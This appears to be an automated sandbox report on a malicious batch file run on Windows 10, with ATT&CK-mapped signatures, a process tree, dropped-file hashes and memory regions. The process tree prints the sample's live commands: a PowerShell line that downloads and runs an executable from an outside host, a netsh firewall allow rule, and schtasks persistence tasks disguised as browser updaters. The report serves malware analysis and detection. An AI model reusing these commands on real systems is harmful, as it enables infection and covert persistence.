Analysis

  • max time kernel
    1796s
  • max time network
    1799s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/08/2024, 17:49

General

  • Target
    penis.bat
  • Size 211B
  • Sample240829-weg2kstcnd
  • SHA256 87093db0124c0b77b6c8c538684a2471266297abef18ec612c2bd5dd2a4edbda
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\penis.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1140
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell (new-object System.Net.WebClient).DownloadFile(' https://download.oxy.st/get/faab8adaa31eef0b079c7374e28c17be/test.exe','C:\Windows\Temp\updater.exe')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4656
    • C:\Windows\Temp\updater.exe
      C:\Windows\Temp\updater.exe
      2⤵
      • Modifies WinLogon for persistence
      • Executes dropped EXE
      • Drops file in Windows directory
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1672
      • C:\Windows\SYSTEM32\CMD.exe
        "CMD" netsh advfirewall firewall add rule name="f%Q.7#>y7Qx_7C" dir=in action=allow program="C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" enable=yes & exit
        3⤵
          PID:5100
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3956
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 1 /tn "Google Chrome" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4712
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST & exit
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1316
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc minute /mo 30 /tn "Microsoft Edge" /tr "C:\Windows\xdwdEaDM" /RL HIGHEST
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2768
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=3848,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=3000 /prefetch:8
      1⤵
        PID:4560
      • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
        C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCookies\xdwdOperaUpdater
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:2768
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4372,i,2727319350781907497,7925939240893079607,262144 --variations-seed-version --mojo-platform-channel-handle=4380 /prefetch:8
        1⤵
          PID:4340
        • C:\Windows\xdwdEaDM
          C:\Windows\xdwdEaDM
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Windows directory
          • Suspicious use of AdjustPrivilegeToken
          PID:4832

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              __PSScriptPolicyTest_sxgratd1.i4q.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sxgratd1.i4q.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512

              updater.exe

              • Path C:\Windows\Temp\updater.exe
              • Size 513KB
              • SHA256 ac2b8fbf75ccf1194ee43b1122889125a0923eadd3acacd99dea046aa21e242d
              • MD5 SHA1 SHA512 SSDEEP

              xdwd.dll

              • Path C:\Windows\xdwd.dll
              • Size 136KB
              • SHA256 35c8d022e1d917f1aabdceae98097ccc072161b302f84c768ca63e4b32ac2b66
              • MD5 SHA1 SHA512 SSDEEP

              memory/1672-30-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/1672-20-0x0000000000340000-0x00000000003C4000-memory.dmp

              memory/1672-21-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/1672-38-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/1672-91-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/4656-12-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/4656-16-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/4656-11-0x00007FFDA4950000-0x00007FFDA5411000-memory.dmp

              memory/4656-0-0x00007FFDA4953000-0x00007FFDA4955000-memory.dmp

              memory/4656-7-0x00000229E9D20000-0x00000229E9D42000-memory.dmp